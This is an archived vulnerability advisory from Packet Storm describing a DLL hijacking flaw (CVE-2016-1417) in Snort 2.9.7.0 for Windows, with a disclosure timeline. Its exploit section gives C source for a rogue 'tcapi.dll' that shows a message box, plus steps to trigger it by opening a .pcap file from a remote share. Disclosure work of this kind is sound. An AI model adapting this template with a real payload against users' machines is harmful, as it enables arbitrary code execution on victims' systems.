what you don't know can hurt you

Snort 2.9.7.0-WIN32 DLL Hijacking

Snort 2.9.7.0-WIN32 DLL Hijacking
Posted Sep 30, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Snort version 2.9.7.0-WIN32 suffers from a dll hijacking vulnerability.

tags | exploit
systems | windows
advisories | CVE-2016-1417
MD5 | 5b5b824bf67d1d5290cc1be5a2a14117

Snort 2.9.7.0-WIN32 DLL Hijacking

Change Mirror Download
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SNORT-DLL-HIJACK.txt

[+] ISR: ApparitionSec



Vendor:
=============
www.snort.org



Product:
===================
Snort v2.9.7.0-WIN32

Snort is an open-source, free and lightweight network intrusion detection
system (NIDS) software for Linux and Windows to detect emerging threats.


Vulnerability Type:
===================
DLL Hijack



CVE Reference:
==============
CVE-2016-1417



Vulnerability Details:
=====================

snort.exe can be exploited to execute arbitrary code on victims system via
DLL hijacking, the vulnerable DLL is "tcapi.dll".
If a user opens a ".pcap" file from a remote share using snort.exe and the
DLL exists in that directory.


Exploit codes(s):
=================

Create tcapi.dll

#include<windows.h>

//gcc -c tcapi.c
//gcc -shared -o tcapi.dll tcapi.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "DLL Hijacking", "Done!", MB_OK);
break;
}

return 0;
}

1) create any empty file on a remote dir share with a .pcap extension
2) place arbitrary DLL named "tcapi.dll" in remote share
3) open with snort.exe
4) BAM!




Disclosure Timeline:
=======================================
Vendor Notification: April 21, 2016
September 29, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
Login or Register to add favorites

File Archive:

November 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    2 Files
  • 2
    Nov 2nd
    9 Files
  • 3
    Nov 3rd
    15 Files
  • 4
    Nov 4th
    90 Files
  • 5
    Nov 5th
    22 Files
  • 6
    Nov 6th
    16 Files
  • 7
    Nov 7th
    1 Files
  • 8
    Nov 8th
    1 Files
  • 9
    Nov 9th
    40 Files
  • 10
    Nov 10th
    27 Files
  • 11
    Nov 11th
    28 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    18 Files
  • 14
    Nov 14th
    2 Files
  • 15
    Nov 15th
    2 Files
  • 16
    Nov 16th
    29 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    15 Files
  • 19
    Nov 19th
    21 Files
  • 20
    Nov 20th
    16 Files
  • 21
    Nov 21st
    1 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    19 Files
  • 24
    Nov 24th
    32 Files
  • 25
    Nov 25th
    9 Files
  • 26
    Nov 26th
    11 Files
  • 27
    Nov 27th
    15 Files
  • 28
    Nov 28th
    9 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close